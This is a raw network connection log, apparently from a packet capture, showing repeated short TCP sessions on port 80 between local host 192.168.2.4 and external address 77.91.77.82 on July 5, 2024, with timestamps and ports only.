Jul 5, 2024 05:10:31.373467922 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:31.378215075 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:31.378303051 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:31.378304958 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:31.378350973 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:31.378473043 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:31.383281946 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:32.081392050 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:32.081474066 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:32.082113028 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:32.086890936 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:32.302418947 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:32.302470922 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:32.404624939 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:32.405019045 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:32.409820080 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:32.409883022 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:32.409928083 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:32.409974098 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:32.410147905 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:32.415070057 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:33.105979919 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:33.106899977 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:33.107883930 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:33.112646103 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:33.325151920 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:33.325234890 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:33.436224937 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:33.436466932 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:33.441250086 CEST	80	49764	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:33.441262960 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:33.441370010 CEST	49764	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:33.441462040 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:33.441559076 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:33.446265936 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:34.161181927 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:34.161241055 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:34.163031101 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:34.167851925 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:34.385121107 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:34.385175943 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:34.509430885 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:34.509737968 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:34.514545918 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:34.514631033 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:34.514861107 CEST	80	49765	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:34.514909983 CEST	49765	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:34.518975973 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:34.523749113 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:35.233439922 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:35.233495951 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:35.234164000 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:35.238955021 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:35.455430031 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:35.455482960 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:35.560722113 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:35.561019897 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:35.566751957 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:35.566766024 CEST	80	49766	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:35.566831112 CEST	49766	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:35.566847086 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:35.567018986 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:35.572933912 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:36.296036005 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:36.296113968 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:36.296833992 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:36.301594019 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:36.525865078 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:36.526853085 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:36.638838053 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:36.639157057 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:36.644045115 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:36.644074917 CEST	80	49767	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:36.644175053 CEST	49767	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:36.644188881 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:36.644284964 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:36.648981094 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:37.352226019 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:37.352288008 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:37.355459929 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:37.360276937 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:37.576417923 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:37.576468945 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:37.685817957 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:37.686211109 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:37.690985918 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:37.691003084 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:37.696104050 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:37.696115971 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:37.696398973 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:37.701102018 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:38.414021015 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:38.414086103 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:38.414747000 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:38.419547081 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:38.641179085 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:38.641247034 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:38.748678923 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:38.749017954 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:38.753706932 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:38.753757000 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:38.753772020 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:38.753884077 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:38.754026890 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:38.758718967 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:39.447379112 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:39.447463989 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:39.448174953 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:39.452899933 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:39.665680885 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:39.665853977 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:39.779584885 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:39.779830933 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:39.785422087 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:39.785495043 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:39.785593033 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:39.785873890 CEST	80	49770	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:39.785927057 CEST	49770	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:39.790483952 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:40.485183001 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:40.485239029 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:40.486037016 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:40.490989923 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:40.705621958 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:40.705739975 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:40.810906887 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:40.811151981 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:40.815910101 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:40.815982103 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:40.816066027 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:40.816219091 CEST	80	49771	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:40.816274881 CEST	49771	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:40.820802927 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:41.529180050 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:41.529261112 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:41.529983044 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:41.534739017 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:41.756166935 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:41.756341934 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:41.857635021 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:41.858057976 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:41.862802029 CEST	80	49772	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:41.862968922 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:41.863039970 CEST	49772	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:41.863086939 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:41.863178015 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:41.867913961 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:42.580399036 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:42.582849979 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:42.589514017 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:42.594862938 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:42.817280054 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:42.817361116 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:42.920149088 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:42.920434952 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:42.925162077 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:42.925260067 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:42.925442934 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:42.925467968 CEST	80	49773	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:42.925522089 CEST	49773	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:42.930196047 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:43.627463102 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:43.630847931 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:43.631434917 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:43.636260033 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:43.849529028 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:43.850858927 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:43.967016935 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:43.967479944 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:43.972289085 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:43.972332001 CEST	80	49774	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:43.972364902 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:43.972393036 CEST	49774	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:43.972579956 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:43.977334023 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:44.682857990 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:44.682914972 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:44.685906887 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:44.690686941 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:44.909461021 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:44.909528971 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:45.014987946 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:45.016833067 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:45.020148039 CEST	80	49775	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:45.021687031 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:45.021748066 CEST	49775	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:45.021780968 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:45.021903992 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:45.026592970 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:45.722275019 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:45.722357988 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:45.723231077 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:45.727977991 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:45.944767952 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:45.944848061 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:46.060758114 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:46.061122894 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:46.065923929 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:46.065937042 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:46.065994978 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:46.066044092 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:46.066132069 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:46.070831060 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:46.802546978 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:46.802630901 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:46.803257942 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:46.807996035 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:47.033916950 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:47.034091949 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:47.139033079 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:47.139393091 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:47.144197941 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:47.144299984 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:47.144381046 CEST	80	49777	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:47.144500017 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:47.144522905 CEST	49777	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:47.149292946 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:47.857371092 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:47.860400915 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:47.861205101 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:47.865950108 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:48.087090969 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:48.087161064 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:48.201361895 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:48.201745033 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:48.206322908 CEST	80	49778	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:48.206382036 CEST	49778	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:48.206532955 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:48.206603050 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:48.206718922 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:48.211426973 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:48.912866116 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:48.912945986 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:48.913644075 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:48.918508053 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:49.138216972 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:49.140086889 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:49.248334885 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:49.248662949 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:49.253424883 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:49.253710985 CEST	80	49779	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:49.253796101 CEST	49779	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:49.253915071 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:49.253915071 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:49.258676052 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:49.960004091 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:49.960092068 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:49.960800886 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:49.966240883 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:50.179233074 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:50.179346085 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:50.295861959 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:50.296324015 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:50.301139116 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:50.301196098 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:50.301281929 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:50.301326990 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:50.301376104 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:50.306087017 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:51.001724958 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:51.002876997 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:51.005486965 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:51.010332108 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:51.224138975 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:51.224261045 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:51.326591969 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:51.327074051 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:51.331739902 CEST	80	49781	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:51.331839085 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:51.331886053 CEST	49781	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:51.331918001 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:51.332046032 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:51.336812019 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:52.044487000 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:52.046947002 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:52.047466040 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:52.052175045 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:52.267561913 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:52.270962000 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:52.373469114 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:52.374017000 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:52.378504038 CEST	80	49782	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:52.378559113 CEST	49782	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:52.378823996 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:52.378904104 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:52.379122972 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:52.383856058 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:53.095915079 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:53.098879099 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:53.103115082 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:53.108062029 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:53.331283092 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:53.331340075 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:53.441581964 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:53.441893101 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:53.446832895 CEST	80	49783	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:53.446847916 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:53.446898937 CEST	49783	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:53.446933031 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:53.447033882 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:53.451754093 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:54.148936033 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:54.149020910 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:54.149723053 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:54.154474020 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:54.371426105 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:54.371490955 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:54.483879089 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:54.484457970 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:54.488969088 CEST	80	49784	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:54.489017010 CEST	49784	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:54.489244938 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:54.489321947 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:54.489471912 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:54.494160891 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:55.180836916 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:55.183017015 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:55.183578968 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:55.188323975 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:55.399924994 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:55.399982929 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:55.517847061 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:55.518253088 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:55.523080111 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:55.523178101 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:55.523212910 CEST	80	49785	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:55.523296118 CEST	49785	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:55.523468971 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:55.528188944 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:56.233320951 CEST	80	49786	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:56.233414888 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:56.235898972 CEST	49786	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:56.240623951 CEST	80	49786	77.91.77.82	192.168.2.4
